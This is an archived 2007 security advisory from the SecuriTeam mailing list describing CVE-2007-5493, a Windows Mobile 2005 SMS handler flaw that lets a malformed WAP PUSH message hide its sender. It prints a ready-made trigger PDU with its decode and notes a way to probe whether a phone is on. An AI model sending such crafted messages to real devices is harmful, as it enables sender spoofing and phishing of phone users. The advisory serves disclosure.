

# [NT] Microsoft WM5 PocketPC Phone Ed SMS Handler Issue

---

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2007-10/msg00029.html>

---

- *From:* SecuriTeam <[support@xxxxxxxxxxxxxx](mailto:support@xxxxxxxxxxxxxx)>
  - *Date:* 18 Oct 2007 17:06:13 +0200
- 

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>  
-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.  
<http://www.securiteam.com/maillinglist.html>

-----

Microsoft WM5 PocketPC Phone Ed SMS Handler Issue

---

## SUMMARY

Microsoft Windows Mobile 6 is the latest version of Microsoft's mobile operating system. Designed for small embedded devices, Windows Mobile is the CE feature set designed for PDA's and mobile telephones. Microsoft Windows Mobile comes in three distinct flavors, Pocket PC, Pocket PC Phone Edition and SmartPhone.

A vulnerability has been discovered in the SMS handler on Windows Mobile 2005 Pocket PC Phone edition which means the sender of the original SMS message can be masked from the recipient when sent a specifically crafted WAP PUSH message.

## DETAILS

Symantec discovered that a slightly malformed WAP PUSH message could be used to hide the originating sender of the message on Windows Mobile 2005. The original PDU can be seen in [1]. The following PDU will cause the Pocket PC Phone edition SMS handler to incorrectly decode the PDU. The result of which is both the sending telephone number and the sending time are incorrect.

[NT] Microsoft WM5 PocketPC Phone Ed SMS Handler Issue

[1] PDU (Line wrapped)

079144775810065051220C914477619269060004A7600605040B8423F025060803AE81EA  
AF82B48401056A0045C6070D0373796D616E7465630085010353796D616E7465630D0D62  
756C6B534D532028556E726567697374657265642056657229202D204C6F6769784D6F62  
696C652E636F6D000101

The decode of the PDU can be seen in [2]. This decode was achieved with PDUSpy from <<http://www.nobbi.com/pduspy.htm>> <http://www.nobbi.com/pduspy.htm>. When this message is received by a SmartPhone it will be silently discarded, which can also be useful to an attacker who wishes to ascertain if a cellphone is on without alerting the user through SMS delivery receipts.

[2] Decode of PDU from PDUSpy

PDU LENGTH IS 118 BYTES  
ADDRESS OF DELIVERING SMSC  
NUMBER IS : +447785016005  
TYPE OF NR. : International  
NPI : ISDN/Telephone (E.164/163)

MESSAGE HEADER FLAGS  
MESSAGE TYPE : SMS SUBMIT  
REJECT DUPLICATES : NO  
VALIDITY PERIOD : RELATIVE  
REPLY PATH : NO  
USER DATA HEADER : PRESENT  
REQ. STATUS REPORT : NO  
MSG REFERENCE NR. : 34 (0x22)

DESTINATION ADDRESS  
NUMBER IS : +447716299660  
TYPE OF NR. : International  
NPI : ISDN/Telephone (E.164/163)

PROTOCOL IDENTIFIER (0x00)  
MESSAGE ENTITIES : SME-to-SME  
PROTOCOL USED : Implicit / SC-specific

DATA CODING SCHEME (0x04)  
AUTO-DELETION : OFF  
COMPRESSION : OFF  
MESSAGE CLASS : NONE  
ALPHABET USED : 8bit data

VALIDITY OF MESSAGE : 24.0 hrs

USER DATA PART OF SM  
USER DATA LENGTH : 96 octets  
UDH LENGTH : 6 octets

[NT] Microsoft WM5 PocketPC Phone Ed SMS Handler Issue

UDH : 05 04 0B 84 23 F0  
UDH ELEMENTS : 05 – Appl. port addressing 16bit  
4 (0x04) Bytes Information Element  
09200 : SOURCE port is: allocated by IANA  
02948 : DESTINATION port is: allocated by IANA  
— DATA —  
05 04 0B 84 23 F0  
USER DATA (TEXT) : % jE  
symantec Symantec  
bulkSMS (Unregistered Ver) –  
LogixMobile.com

Vendor Response:

A vulnerability has been discovered in the SMS handler. If a malicious message with no sender was received by a user on their device, the user may be enticed in taking action or clicking the URI that could lead to a second order attack.

Mitigating Factors: By default Windows mobile device policy require SI messages to be authenticated. The Mobile Operators have the ability to change the policy to not requiring authentication in order for 3rd party ring tones and other SI messages.

Microsoft will look into a different architecture in future versions.

Recommendation:

Contact your mobile operator to ensure the proper policy is set on your device.

CVE Information:

<<http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-5493>>  
CVE-2007-5493

ADDITIONAL INFORMATION

The information has been provided by  
<[mailto:ollie\\_whitehouse@xxxxxxxxxxxxx](mailto:ollie_whitehouse@xxxxxxxxxxxxx)> Ollie Whitehouse.  
The original article can be found at:  
<<http://www.securityfocus.com/bid/26019>>  
<http://www.securityfocus.com/bid/26019>

=====  
This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
list-unsubscribe@xxxxxxxxxxxxx  
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@xxxxxxxxxxxxx

=====  
=====

**DISCLAIMER:**

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.